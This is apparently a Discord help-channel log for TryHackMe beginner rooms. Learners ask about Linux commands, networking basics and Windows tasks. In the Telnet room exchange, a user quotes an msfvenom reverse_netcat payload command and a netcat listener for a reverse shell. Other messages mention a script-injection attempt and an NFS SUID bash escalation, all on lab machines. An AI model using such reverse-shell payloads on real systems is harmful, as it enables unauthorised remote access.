valid pebble
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I always thought, why would she do another one ?

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Nvm it is the same. Got confused there for a sec haha

untold scarab
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yea she just updates the year each year KEKW

valid pebble
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But if we take EVERYTHING into account it isnt usually going to end at its expected duration. There will be pauses and taking notes etc. So it’ll go over the duration

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Again like you said, it depends on the person.

untold scarab
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With udemy courses I usually found myself doing 1.25x speed

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Since the course from Angela Yu is quite higher quality, there is also no verbal barrier, hence 1.25 should be possible. But at the end you decide it for yourself

lost matrix
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Can we please not continue discussing other training platforms in this channel. 🙂

untold scarab
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Sure thing, sorry

valid pebble
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Apologies, Tim.

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Apologise*

fierce knoll
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Hi, new here
Does anyone else experience an issue with Linux fundamentals part 3 when it comes to connecting to python3 HTTPServer? I've put the command into the console to connect but it seems to get stuck just after it's run and I don't get a connection confirmation and I'm unable to put in other commands other than ctrl+C to interrupt the command

(Sorry if it's a really simple fix, pretty new to this)

junior drum
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Lmk if you need more help

fierce knoll
fierce knoll
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junior drum
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Lmao but yeah the terminal acts a log. And you can interact with it via anything you normally use @fierce knoll

fierce knoll
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Ah mega, thank you... I'll eventually wrap my head around it

Thank you again

junior drum
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No worries good luck

fierce knoll
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Another question re Linux fundamentals... when using ps aux is there a way to increase the colum width? Only getting half a flag on one of the challenges, have tried googling but don't fully understand the solutions that I've come across

junior drum
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Gonna need a screenshot for this one @fierce knoll

fierce knoll
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prime arch
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Hi, I recently started the pre security pathway and I'm having some difficulty understanding what a MAC address is.

I get what an IP address is but get a bit lost after that. I understand that it's assigned to the network interface when it was produced but I don't really understand where it comes into play within networks. I have attempted to research it a bit more on my own but am just getting more confused.

I keep seeing the phrase "physical address" used, does that refer to the fact that the MAC address is always linked to the same device since it's built into the network interface? I'm also struggling to see the difference between when an IP address or a MAC addressed would be used.

Any help would be appreciated :)

paper locust
prime arch
paper locust
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Yup - another way to see it would be the mac address is the VIN number on a car and the IP address is the registration plate

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The VIN number will always be the same but the registration plate would change depending on the owner

prime arch
slim sail
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could someone give an example of how IP addresses cannot be active simultaneously more than once within the same network?

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because my public ip is the same on my computer and phone, so am i misunderstanding

slim sail
soft snow
slim sail
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thank you for confirming :)

soft snow
crisp sphinx
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Hello
Could someone tell me, where i can find the user and password to build an ssh connection? 😄
I cant find it

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"tryhackme" as user and password does not work or i am doing it wrong

soft snow
crisp sphinx
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Linux Fundamentals Part 2

marsh veldt
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i think the pw is just 'tryhackme' from memory

prime arch
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Is there a reason that when ports are used, the port number is sometimes chosen at random but other times it seems to always be a specified number?

marsh veldt
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The source port when sending a TCP packet is chosen at random from a currently unused port. There are some standardised protocols for Websites, ftp, SSH ports to listen on.

this is important, and allows you to have multiple browser windows/tabs open - If you had 4 webpages open, all sending and receiving on port 80, it would not know where the response traffic is meant to be directed.

prime arch
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is there an advantage to it being chosen at random rather than just incremental/using the lowest available port?
Also if i understand correctly when sending data using TCP, that connection is kept the entire time data is being sent? Would that mean if a website was receiving data on port 80, every person who tried to upload to that website would be attempting to send to the same port, can multiple connections be held at once by the receiving server or would a situation like that cause some sort of upload queue?

crisp sphinx
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In Linux Fundamentals 3 when i try to download the .flag.txt file, it says that the file can not be found. Anyone else ran into this error? What am i doing wrong here? 😄

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I connected to the webserver but the file can not be found.

marsh veldt
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when you 'ls' can you see the file?

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and did you start the python http.server in the remote machines file directory containing the flag.txt

crisp sphinx
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i could not see the file and i started the python http server. I followed the instruction which is presented in the video too but the file was not there.

soft snow
crisp sphinx
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Ls -a didnt Show it either. I will try again Later

marsh veldt
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Can you say that a Packet contains data, source and destination ip and Frame contains Data, Packet with source and destination Mac address in the purpose of sending data to another network?

marsh veldt
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marsh veldt
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no problem, 🙂 it helped me understand it a bit clearer than the normal diagrams

crude obsidian
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Just wanted to say that I loved this path, I found it easy to follow yet super informative! Onto the next!

prime arch
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So doing the pre security pathway atm, I’m getting a grasp of some of the content, like a base understanding, but i don’t 100% understand all of it in detail, is this normal or should I try go back through it once I’ve completed?

marsh veldt
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It’s ALOT to take in. Make sure your taking notes, I hate taking notes, but it has made all the difference.
It helps to share what you have learnt by explaining it to others. Keep an eye on the chat in discord and you will no doubt have plenty of opportunities to help someone with your newly gathered knowledge.

Are there any concepts in particular you’re struggling with or wished went into further detail?

prime arch
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I think with a lot of the information I understand the definition of it, but not the use of it, like the difference between packets and frames, I understand that frames are in packets (like the envelope example given) but I don’t understand why, the same with IP and MAC addresses, someone here explained the difference and I finally understood, but I don’t understand where they come into play separately. Ports I somewhat understand the purpose they serve, but I’m confused about the intricacies, for example if http is always on port 80, if a site used TCP which holds a connection, would that mean only one user could upload/download data at a time? I’m hoping that a lot of this sort of information I’ll learn along the way with other things, missing pieces of a puzzle etc. I’m just concerned that I’m not absorbing as much information as I would need to continue progressing

marsh veldt
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No you are absorbing it, but if they threw all that information at you in the beginning it would be too much to properly take in. It is definitely frustrating, feeling like you only know half the story. I personally go and search for the same topic elsewhere but i will branch my search queries into the areas i wanted to know more about, everyone has their own way of explaining things and sometimes, a different angle will suddenly just make it 'click'.

Not sure if you have heard of Network Chuck, he has a great youtube channel - he really makes things simple. he has a few videos on TCP/IP - this one has some great examples, hopefully this helps you -> https://www.youtube.com/watch?v=3kfO61Mensg

Let's follow a packet through the layers of the TCP/IP and OSI model!! // CCNA Course 200-301 - sponsored by the Boson Software: https://bit.ly/bosonexsimccna (affiliate)

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Watch the whole course: https://bit.ly/nc-c...

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He is basically currently learning all of this himself, and he documents his journey by creating youtube videos, teaching other people what he has just learnt.

prime arch
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marsh veldt
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he's awesome, i learnt how to make my own ethernet cables from this guy - he even has his two young girls making them too in his video to show how easy it can be

prime arch
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Just watched one of his OSI model videos and wow it definitely helps to see the whole process explained step by step using a simple real world scenario

molten hound
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Hey guys im just starting in TryHackMe and I'm starting in the pre security pathway. I was wondering what method you guys use when doing them. I've been taking notes on all the terms and stuff but it takes way longer than just reading and doing the questions. I'm wondering if it's worth it to do it this way or if these concepts will be continuously reaffirmed throughout this course and future courses, and it would be more worth my time to just read it and cover more ground. Thanks!

frail stone
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Keep taking notes

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They will be helpful to refer to and committing things to memory

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I am going back to take notes on the modules I chose not to..

valid pebble
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Guys, presumably what would be an effective way to ensure efficiency. I take notes via One Note on my Laptop , but quite doubtful that this is the most effective way in doing so, as a posed to physically writing it down via Pen and Paper. Any thoughts ?

molten hound
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I'm currently writing it down on paper because writing it is the part that helps you remember it, I personally feel like if you were to take notes this would be the best way to do it, but obviously as you can see above I'm wondering about the best way as well 😂

safe wigeon
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Just have to make sure they're organized in a way that you can easily refer back to earlier points

valid pebble
safe wigeon
marsh veldt
dark grotto
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Hello There ! Maybe it' a frequent question but when a start my AttackBox for Linux Fundamentals Part 1 whoami tels me "Root" and not "TryHackMe"
And so I can't know how many folders are in my machine and the next questions.
Can someone help me or know how to fix it ?

tight ingot
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You've started the wrong machine.

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You need to start the machine on Task 1.

dark grotto
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Thanks I start the machine with the button of Task 3 and it's work !

molten hound
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At least much more so than copying and pasting

marsh veldt
thorn lynx
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what languages to know?

molten hound
shrewd gale
thorn lynx
shrewd gale
# thorn lynx for general ethical hacking

many different can be used none specific though, python is pretty good to create some scripts while C is better to exploit many vulnerabilities. but this isn't the right place to ask, there is a chat here called programming which is more appropriate to ask in

prime arch
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I'm reading back over the "what is networking" room and taking some more notes, and i'm feeling a little confused at the way an IP address is defined, specifically these two sentences:

"a way of identifying a host on a network for a period of time"
"IP addresses can change from device to device but cannot be active simultaneously more than once within the same network"

I always thought that your IP address was based on the network you were connected to, so I thought that if my phone and my PC were both connected to my home wifi, they would have the same IP address, but now I feel like I was wrong about that. The first sentence does seem to suggest that, as it's used to identify you for the period of time that you are connected to the network? But the second sentence about how you can't have the same IP address active on the same network has really thrown me off and now I feel like I have 0 idea how IP addresses work at all.

safe wigeon
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Public vs private IP address - I think your network gets a public address that all your devices use when connecting to the internet, and each device additionally has a private IP
(someone correct me if I'm wrong tho, I'm not even through the pre-security module yet)

marsh veldt
# prime arch I'm reading back over the "what is networking" room and taking some more notes, ...

yes this is correct, you will be connected on the same subnet but your IP will differ from device to device. use the Attack Box as an example. They all boot up on the same subnet 10.10.xxx.xxx but each time you boot one up, it is assigned a unique/available IP address from the pool.

For an at home example visit your home router [normally -> http://192.168.0.1/ ]and look at the connected devices. they will all have their own IP address assigned.
Only services provided by a device/machine can run on the same IP and will utilise different ports for each service, for example 80 for http or 443 for https webserver.

I think this might be where your confusion lies - the difference between Devices, Services and Subnetting

warm epoch
# prime arch I'm reading back over the "what is networking" room and taking some more notes, ...

It might help to add some context between the public and private addresses
Back in the day, we used telephone lines for internet connections. You'd have one computer in the house connected to a modem and it'd have an IP. As we got more and more devices, we introduced something called NAT. NAT allows multiple computers to share a public IP address. All of the devices on your network will have the same public address, the public address of your router.
But what if the devices want to talk to eachother? Say you want to print to a network printer for example. Your PC and the printer have a different a local (private) IP address, that only has to be unique inside your home network. It also uses the local address of the router to talk outwards to the internet

hazy plaza
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Completed the path yesterday 💥

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Guys which path now suggest for offensive side.. 1. Jr Pent test or 2. CompTIA Pentest+ path?

tacit ravine
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dose anyone understand the dns Record

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cuz its too hard to me to understand it Specifically the cname and mx

slim oak
fluid zephyr
warm epoch
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Then look on Google maps

fluid zephyr
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I can’t find

tight breach
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could you give me your task where you struggle?

warm epoch
fluid zephyr
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In fact, I just need to have the address of the holder, I enter it in google maps and I will have my answer?

river badger
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I am beginner in cybersecurity, I have been having a smooth run with the beginner path exercises until I downloaded openvpn to use instead of using the attackbox. Now I am stuck, i can't carry out any more exercises and I can't disconnect the open vpn from my macbook.

potent wedge
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also look into making a kali linux vm and only using the vpn from inside it to connect and do tryhackme stuffs

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unless you have an m1 or m2 mac in which case your mileage might vary heavily

river badger
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Maybe I was too fast, should have just been carrying out the exercises using the attackbox via the browser

river badger
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Thank you so much, this helped

potent wedge
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now look into virtualbox and how to make a kali linux vm

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and then follow along with this room

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!vpn

rain berryBOT
river badger
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potent wedge
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you will learn a lot and that will be good

river badger
tight surge
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sick jetty
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Hello! I am stuck on Telnet room 7

I try putting this command

msfvenom -p cmd/unix/reverse_netcat lhost=10.10.130.76 lport=4444 R

When I use nc -lvp 4444

I get Listening on [0.0.0.0] (family 0, port 4444)

Once I get to the copy and paste on the telnet, nothing happens. I don't understand what I am doing wrong

potent wedge
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!docs verify

rain berryBOT
potent wedge
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then post a screenshot of what you are doing..... should help us see the issues @sick jetty

sick jetty
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Never mind lol. I finally got it. I realized I was supposed to do the commands on the host machine. This entire 3 hours I kept putting in the same command
For msfvenom I kept thinking I was doing something wrong due to this message:

[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload

Really everything is done on the host machine Expect the copy and paste. Gezzz 😖

worldly quarry
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hi

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please can help me with the Linus fud part3: task 8

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How to i enter the ubuntu directory

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Thanks got it

true palm
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i need help in the windows log event room

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the question is Filter on Event ID 4104. What was the 2nd command executed in the powershell session?

thorn umbra
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Hi All, im currently working through Linux Fundamentals Part 1. I've just begun this section and am currently working through "Interacting with your file system" I seem to be stuck in the "root" terminal I believe I need to be elsewhere, can anyone assist with this? Thank you in advance

warm epoch
thorn umbra
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@warm epoch I believe I have to click start the attackbox in order to access the terminal.

warm epoch
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That is incorrect

thorn umbra
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@warm epoch I'm pretty new to this

warm epoch
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The attackbox is a machine loaded with offensive pentesting tools, to be used to hack the target machines

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You need to deploy the target machine.

thorn umbra
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@warm epoch gotcha that button was back a couple of exercises. Thank you! I knew it was a simple issue

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marsh veldt
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After finishing this room which one do I start 🤔

marsh veldt
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Anyone

tight breach
# marsh veldt Anyone

depends on your interest - try soc-room for advanced knowledge in security or go with offensive-pentesting

marsh veldt
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I thought of getting started with complete beginner path then Jr pentester

tight breach
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ofc you can do that - sometimes it will be easy if have some background

safe wigeon
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Hey, question on HTML injection. In the How Websites Work room, did anyone else get any JavaScript code to run? Is there a reason it wouldn't?

I tried: <script>for(i=0;i<100;i++){console.log("html injection");}</script>
but it logged the actual code to the console, not the string 99 times. Injecting an <h1> tag works, but it doesn't read the script

What it's being injected into: JavaScript function sayHi() { const name = document.getElementById('name').value document.getElementById("welcome-msg").innerHTML = "Welcome " + name setTimeout(checkAnswer, 100) }
the room: https://tryhackme.com/room/howwebsiteswork

glad bison
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hang on 2 sec

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getElmById(id).value will return undefined

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just getElementById will return the element. If you need the text inside the h1, you can use innerText like above ^ you see in the screenie that foo now returns 'meeep'

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you can then set te h1 innertext like so

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I'm not sure what checkAnswer does

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I cant access the room unfortunately so cant read along with you 😄

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the way its written now, is that the function checkAnswer will be executed in 100 ms. What is it that you are expecting / wanting to happen?

safe wigeon
# glad bison a few things I see here

Ooo ty for responding!
Idk what checkAnswer does either or how to find out (there's a script src for js/script.js that must have the function, but I don't know how to access that).
I was trying to inject a script into the sayHi() function so that "HTML injection" would be logged to console, but the actual for loop and script tags were getting logged and not the string "HTML injection". (but when I injected an <h1> tag with content it displayed the content in <h1> heading size on the page, like expected)
The sayHi() function is supposed to take a username from input and display it on the page, it's part of the site they give you to experiment on

edit: Honestly just trying to inject any JS and get it to work, just to see. I also tried <script>document.getElementById("html-code").innerHTML = "test";</script> where html-code is a large, visible div, expecting it to visibly overwrite the page in some way, but nothing seemed to happen

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safe wigeon
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Sorry if I'm not understanding something super basic here 😅

glad bison
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it looks like thats what you tried to do with the loop?

safe wigeon
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Yes, exactly that, thank you lol. So how do people inject JS or is that not a thing

glad bison
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if you use the console however like so ( see pic ), I can execute some code when one of the existing buttons is clicked

safe wigeon
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Ooo cool!

glad bison
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so when I clicked the submit button, I saw an alert with hi first. Then I called foo on click and got 100x eeeee

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I hope this helps 🙂 I think I did this room at some point but my subscription just ended yesterday so I cant access it, whaha

safe wigeon
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I learned something, I appreciate it lol. Hope you renew man, THM is kinda fun for a learning platform haha

glad bison
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I subscribe occasionally 🙂

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I have a few other things im focusing on, hence sporadic subs

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but im glad to hear you are enjoying it 😄

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Idk what checkAnswer does either or how to find out (there's a script src for js/script.js that must have the function, but I don't know how to access that).

you can find the external files in the devtools tab 'sources'

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along with a bunch of other stuff

safe wigeon
# glad bison along with a bunch of other stuff

Ooo ty! I don't see it right away on firefox dev tools, but will dig around for it in the morning (it's somehow already midnight here)
edit: (found it! they're tucked away under debugger - ty again for helping me out!)

jagged prawn
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Hey guys, small question... In Intro to Lan they say that the subnet mask is a number that represents the number of hosts in the network but I can't make the connection between because a subnet mask is in the IP format (4 octets), any tips?

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To reiterate, how 255.255.255.255 (for example) represents the number of hosts?

slim oak
# jagged prawn Hey guys, small question... In Intro to Lan they say that the subnet mask is a n...

the subnetmask basically says which bits in the ip are "fixed" and which can be used to ifentify hosts. Your example has all 4 octets set with all 8 bits each. This means, all bits from the corresponsing ip address are already fixed. it represents exactly one ip address.
255.255.255.0 : here the last 8 bits are "free to use", so you can have 2 to the power of 8 = 256 different IPs/hosts. E.g. 192.168.1.0 - 192.168.1.255.
There is an alternative representation: 192.168.1.0/24 . The /24 indicates the first 24 bits of the IP are fixed, leaving 8 bits to be used for actual IPs.

jagged prawn
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jagged prawn
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Woah, smart bot (:

safe wigeon
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what's the difference between using wget to download something from another computer vs downloading from a webserver with python HTTPServer up? Just that HTTPServer logs requests?

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It sounded like HTTPServer is supposed to make wget/curl easier to use, but idk how/if it does that

slim oak
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And by the way other webservers (apache nginx) also log requests. Normally in /var/log/<webserver>/access.log

warm epoch
safe wigeon
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Gotcha, ty! Just the phrasing of what I was reading had me thinking there was something else to it.

jagged prawn
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I got some terminology problems with packets and frames - on the OSI lesson, they said the presentation layer is "packeting" the data, but later it is said that the outer encapsulations (2 & 1 layers) are considered packets, and within them are frames? The material is contradicting itself or did they just use "packets" broadly (to indicate small chunks of data) at the OSI lesson and in reality at the presentation layer we actually have "framing" of the information and not "packeting"? I hope I'm coherent, I can reiterate if needed.

elder garden
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unfortunately people refer to all data chunks in computer networks "packets", while formally they're packets in layer 3

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the other problem is OSI model is not really implemented, something called presentation layer doesn't actually exist

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so features of presentation layer are implemented in application layer which may be actually distinguished from the transport layer, encrypted SSH traffic would be an example of both application layer and presentation layer (the actual data and the encryption)

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but you can't really distinguish a "presentation layer protocol", while you can do that for transport layer (TCP, UDP, possibly TLS but that's another combination of presentation layer inside too) or for application layer (SSH, HTTP, FTP)

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so probably formal naming for data chunks is only valid for transport layer and below if at all

jagged prawn
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Thank you very much!

white cargo
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why is a stateless firewall is better against ddos attacks if it evaluates each packet?

warm epoch
marsh veldt
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Hi Guys, I am current in linux fundamental part 3 in task 4 and was wondering if you how wget is able to download files over http as it's a private ip

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i am guessing we are able to use wget and download to the remote machine since this we are able to do this since its in the same network (attackbox and remote machine)

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sweet mauve
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hey guys i cant find the "find " module that the guy that doing the videos for the linux fundamental rooms talked about and he said its a very good one , can someone help ?

safe wigeon
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When using the ls command on a Ubuntu 20.04 Linux machine, these files [apt repository files] serve as the gateway/registry.

What does this mean? What is the gateway/registry, what's it for, what's it do?
(From Task 7 of Linux Part 3, Pre-Security pathway)

marsh veldt
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Now it's time to start burp suite room

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Hope it's not complicated 😬

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Is there any sri lankan here in this 🤔

tardy crater
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Hi, I have a question about the exploiting NFS room. Im currently on task 4 where i have to (after gaining NFS access) download a bashfile and copy it to the NFS share, then set the SUID on the bash script. First thing I noticed is that the instructions tell you you have to set it to a certain letter, but when I do that, I dont actually end up with -rwsr-sr-x permissions on the file, only -rwsr-sr--. no execute. Only after also giving the -x flag i am able to get -rwsr-sr-x as mentioned in the sanity check. then once i SSH into the server and run the file ./bash -p , it does not actually give me a root shell. it just says: bash-4# instead of the users name and when I do a sudo su - or something I cant. What did I do wrong?

tardy crater
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nevermind. the exploit actually worked 🙂 i had to look a bit further it seems.

frozen berry
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Guys Im in the Linux Fundamentals Part2 Task 5 Permission , I have a SSH session to the tryhackme machine that I connected from the attack box but when i try to sudo user2 when i put the password that is "tryhackme" it gives me this error "tryhackme@linux2:~$ sudo user2
[sudo] password for tryhackme:
tryhackme is not in the sudoers file. This incident will be reported"

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so to switch to user2 what is the password?

soft snow
frozen berry
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The task say it clear to switch with sudo user2

soft snow
iron geode
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hi

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I am unable to paste my certificate here or attach it

potent wedge
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!docs verify

rain berryBOT
crimson jackal
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Hi there, I am doing the Windows Fundamentals part 2 and in the Computer Management tab the last question is : What is the name of the hidden folder that is shared? so i have added the one that i saw on the attached vm : sh4r3dF0Ld3r and that worked. I am not quite sure why is this hidden and how i should be able to see that from the screenshot? Is there anyone who recently finished this one and can help me explain that a bit? Sorry, i am far away from being a Windows expert.

safe wigeon
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patent pumice
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So im trying to go back to the tryhackme user and not root but when i su user2, sudo su user2 su tryhackme@linux2 it stays as root user and just says no passwd entry for user

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nevermind i figured it out

iron geode
quiet silo
patent pumice
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Not sure the answer they are wanting and how its formatted can anyone help? It's in the windows fundamentals 1 section of pre-security

  1. Which selection will hide/disable the Task View button?

2.Besides Clock and Network, what other icon is visible in the Notification Area?

safe wigeon
patent pumice
somber currentBOT
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knotty lodge
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1-hidden

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2-action bar

junior cosmos
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Anyone around 🤔

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I'm really not getting this 😄

potent wedge
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ah

junior cosmos
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i have tried alot

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nothing seems to stick

potent wedge
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have you read the hint yet???

junior cosmos
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yes

potent wedge
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did you follow instructions in the hint???

junior cosmos
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yes I have right clicked the notification center

potent wedge
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almost....

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the answer is something center.... so you are very close

junior cosmos
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OMFG 🤦‍♂️

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i tought it's called notification center

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Thank you 🙂

potent wedge
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no problem

tight ingot
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It's not though?

potent wedge
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see answer to said question on windows fundamentals room

tight ingot
potent wedge
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yuups scrubz

tight ingot
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Oh they thought

potent wedge
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yeah..... typo probably

junior cosmos
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Sorry English is my 3rd language 😄 plus i can't type in any 😦 sadness 😄

potent wedge
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under discord settings -> text and images ->

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@junior cosmos ⬆️

low gate
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A****n Centerblobhuh

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Action

lone vault
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hello everyone, I was doing the OSI sub-module and in the session layer section it says "What is worthy of noting is that sessions are unique — meaning that data cannot travel over different sessions, but in fact, only across each session instead." Can anyone please explain me this?

timid hinge
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it’s easy you just gotta dig deeper

marsh veldt
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Hello I'm trying to download a file using python3 -m http.server and when I try to download the .flag.txt I get "failed connection refused"

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nvm realised I forgot to connect to through ssh on the second terminal tab

lucid crow
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hey im having the same issue

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but i connected with ssh

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can someone help me?

dark ruin
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Hey everyone, I have a pretty basic question I imagine but somehow my imagination gets puzzled. It's about SSH.

When deploying the virtual machine on TryHackMe, the banner with the active machine information always mentions the IP, expiration etc. ... I am now doing the Linux Fundamentals but I was always puzzled about this also during AoC. The IP address mentioned there represents one machine (I perceive this as "my machine" and the attack box as "another machine"). This room is about executing commands from one machine on another machine. However, when I am logging with SSH, I am using the IP address mentioned on the banner ("my machine") when "SSH allows us to remotely execute commands on another device remotely".

To me it seems I am still using only one machine and can't see how I am using SSH to access "the other" machine. I just can't see the distinction. Sorry for expressing myself in such a clumsy way but I am a newbie, thanks for any clarification!

grizzled bay
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I don't have an AttackBox loaded at the moment, I'm working on a different room, but:
The IP address you'll see in the first banner when you start a machine , that has all the banner/ expiration info is from the 'Attack Box' machine.
This can be considered as your machine. Your machine == AttackBox
When you're looking to attack some target device, you'll be targetting another IP address, from "your" attackbox (with the banner).
You'll see your IP address on the TryHackMe web page, at the top right.
The 'target machine' will have a different IP address and look something like this: With "Add 1hr" and "Terminate" buttons.

So, from your machine, if you open a new terminal (the black box at the top of the second image) : you'll get a terminal window.
You can then ssh to another machine with the login details given:
ssh <some username>@<IP address from the THM instructions webpage>
Assuming you have the login details, you'll then be connected to (and issuing commands on) , the other machine

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You might sometimes see a different username on the prompt when you log into another machine:
e.g. from your attackbox, your terminal prompt will be: root@ip-xxxxxx , but when you ssh successfully as "bob" or some username, your prompt should say: bob@<target IP -- from the instruction webpage>
You're then on the target machine.

dark ruin
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ancient jacinth
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hello

potent wedge
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what are your issues with it???

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to be able to post screenshots you can follow the instructions here

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!docs verify

rain berryBOT
ancient jacinth
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every value i enter in the new values of the credit card, it says wrong answer

potent wedge
ancient jacinth
somber currentBOT
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potent wedge
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common mistake so suspected that was it... glad to help

manic pivot
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Hey everyone, For some reason in the pre-security first hacker question, the amount i'm putting in doesn't see to work. 767.68. Is anyone else having this issue?

potent wedge
manic pivot
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Thank You!

potent wedge
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no problem

manic pivot
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in the last section of the intro to defensive security. I know its an unauthorized connect attempt but is there a specific answer i'm missing? I

manic pivot
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disregard my last question everyone

potent wedge
potent wedge
marsh veldt
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Why when I exploit its not creating a session in blue room anyone

worn kelp
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Hii

robust vessel
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Just dropping to say there is an image missing in windows fundamentals 2

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Its missing in command prompt netstat parameters

untold scarab
robust vessel
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Alrighty I just made my own for my notes but thanks

thorn beacon
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I getting boring to learn alone
Some one there ?to me?

potent wedge
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well lots of people here but a lot of us likes learning on our own

thorn beacon
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Oky

marsh veldt
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im having trouble with operating system security anyone around to help

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im trying to find the wordlist to get johnnys password

marsh veldt
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now i feel dumb

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thanks

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i got it

marsh veldt
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i am on linux fundamnetals part 2 task one and the attack machine is not letting me login in it keeps saying password denied

whole cradle
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@marsh veldt what i did first was start the machine (green button) then the attack box (blue button)

timber hull
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Hi. I don't understand the question in task 6 of windows fundamentals 1. It seems that I should try something on a windows server, but I found nothing. Could anyone help me?

tight ingot
timber hull
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Well, I can't answer the questions. It seems that you have to start windows server, but there's only the virtual machine I can start. Where can I find the windows machine?

tight ingot
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All the information is in Task 1.

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Or launch the machine.

timber hull
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But how?

tight ingot
timber hull
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I don't have the right window

tight ingot
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Do you have the attackbox?

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If os.

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so

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Press where it says Attackbox

timber hull
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I have just done it to try

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Thant you. It is working

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*thank you

tight ingot
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Happy hacking.

timber hull
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I'm still stuck. The windows server is working. I can open the setting window with "other users". I can see "Try Hack Me" account. But the task6 of the windows fundamental 1 doesn't accept "try hack me" as the other user account. I don't understand...

tight ingot
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There is another user.

timber hull
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I don't see another user. Just "Try Hack Me"

tight ingot
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Can you see their name?

timber hull
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Only "TRY HACK ME" as local account

tight ingot
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Did you open lusrmgr.msc?

timber hull
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Yes by clicking on "add someone else to this PC" as it does the same thing as lusrmgr.msc

tight ingot
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Q1 is asking for the name of the user.

timber hull
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Yes but when I run lusrmgr.msc, I don't have the same result. I can see another name

tight ingot
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This page?

timber hull
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Yes exact. Now I found the answer!

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I would have liked to send you this page, but I can't

tight ingot
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You need to verify your account with Discord.

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!docs verify

rain berryBOT
timber hull
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Ok thanks.

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I don't understand the last question:
What is the account status?

tight ingot
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Did you look at the properties of the account?

timber hull
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Yes, I have just found. Sometimes you have to guess what the answer is. Not easy sometimes...

timber hull
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I can't find the "other" section in my discord profile, in order to get my token for "!verify" command

tight ingot
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It's in your THM profile

timber hull
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Ok. Thanks again. I sent the message.

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I feel old...:(

mental dew
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hello

marsh veldt
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hey i need help about the linux fundamentals room

tight ingot
marsh veldt
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in the part 3 i need to download a file from a http server

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but i can't connect

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to start a web server

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with python3 -m

tight ingot
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Are you starting the python server in the correct terminal, whilst you're logged in

And asking for the file in a different terminal?

marsh veldt
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im using a terminal from my os, not attackbox and im connected to the thm machine

tight ingot
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Which OS are you using?

marsh veldt
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ubuntu

tight ingot
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What command are you trying?

marsh veldt
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python3 -m http.server

tight ingot
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Are you starting the server in the directory of the file?

marsh veldt
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in the ss of the task it says its in tmp directory so am i

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but im not sure if its correct

tight ingot
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Is your command also python3 -m http.server

marsh veldt
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yes

tight ingot
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And on your ubuntu, which command are you using?

marsh veldt
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same

tight ingot
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You need use the wget command...

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You don't need to start the server on your Ubuntu machine.

marsh veldt
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i use the machine from the task, but because i dont have a split screen i connected to it from my own terminal with ssh to the thm account

tight ingot
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Yes.

And you need to download the file.

marsh veldt
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yes

tight ingot
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So wget will do that

marsh veldt
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it says connection refused

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firstly says this

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Now, use Python 3's "HTTPServer" module to start a web server in the home directory of the "tryhackme" user on the deployed instance.

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and refuses

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it gives me error

tight ingot
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You don't need to put in the ip.

marsh veldt
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then what i need to put?

tight ingot
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Just python3 -m http.server

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IN the directory of the file.

marsh veldt
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it just stays like that

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it says 0.0.0.0 port 8000

tight ingot
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Yes. you leave it there.

marsh veldt
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so do i need to wait?

tight ingot
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Yes.

And on your Ubuntu terminal without logging in/

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You wget the file

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Do you have it now?

marsh veldt
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yeah

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now works

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thanks

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i restarted the machine

hollow veldt
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hey guys! I do Linux Fundamentals part 1, and my attackbox machine is different from the video example. So I can't solve the tasks. What should I do? (first is video example's/ second is mine)

tight ingot
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You're started the wrong machine/

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you need to start the machine in task 1.

hollow veldt
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hooray! it worked. thanks, master 🙂

tight ingot
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@warm epoch

young lakeBOT
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:hammer: 𝟞𝟚𝟡𝖒𝖊𝖑𝖑𝖔#3421 has been banned.

worn kelp
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Can anyone help me about linuxx

oak storm
cloud horizon
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Hello, i'm new on tryhackme, please, can somebody help me in the room Linux Fundamentals Part 3 i don't know how to continue

tight ingot
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Which part are you at?

cloud horizon
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Moreover i don't really understand how the attackbox works, it says my machine has 1h left, but i can add hours for free, but my attackbox cannot be opened

oak storm
cloud horizon
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ok thank you

oak storm
heady skiff
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Hello ! So I am in Linux Fundamentals Part 3, task 4 and my problem is that I don't get how I can download with wget the file they ask us to download...

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First they ask us to launch he server, but then it is stuck like this :
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

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And I can't write any command anymore

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Ok, and I need to use ssh again right ?

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I used the wget command with the name of the file, but I got this answer : Unable to establish SSL connection

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I got this

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Nevermind, I managed to make it work. Thank you very much for your help ^^

magic depot
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hy same thing i am stuck on fundamentels 3 on linux

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i started on the ssh connection the web server, and i opened another terminal without ssh and when I tried to connect using wget command is says " => \u2018file\u2019
Resolving http (http)... failed: Temporary failure in name resolution.
wget: unable to resolve host address \u2018http\u2019"

soft snow
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!docs verify

rain berryBOT
soft snow
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Please verify so you are able to post your screenshots in here, instead of sending a DM 🙂 @magic depot

magic depot
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I didn't work from start 🙂 i was uncertain

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and it didn't seem that i can paste on chat prints I don't know why !

soft snow
magic depot
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@soft snow solve it

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I should resent the prints here?

soft snow
magic depot
soft snow
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You are trying to wget from your localhost instead of from the target machine

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The python server is running on the target machine, thus you need to specify the target machine address

magic depot
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so i should connect again using ssh with a another terminal to rule the command? or if i want to wget from my local host i need to specify the ip of the machine?

soft snow
still ivy
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Hey I’m hoping to learn something from you guys

marsh veldt
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My machine doesn't let me connect?

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I'm on the linux fundamentals part 1 and I just started up a machine but it says the tryhackme remote server is not currently available

marsh veldt
worn kelp
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How to find the command md5sum

oak storm
still ivy
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I feel so left out

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Here

oak storm
still ivy
still ivy
oak storm
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No

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Just didn't understand why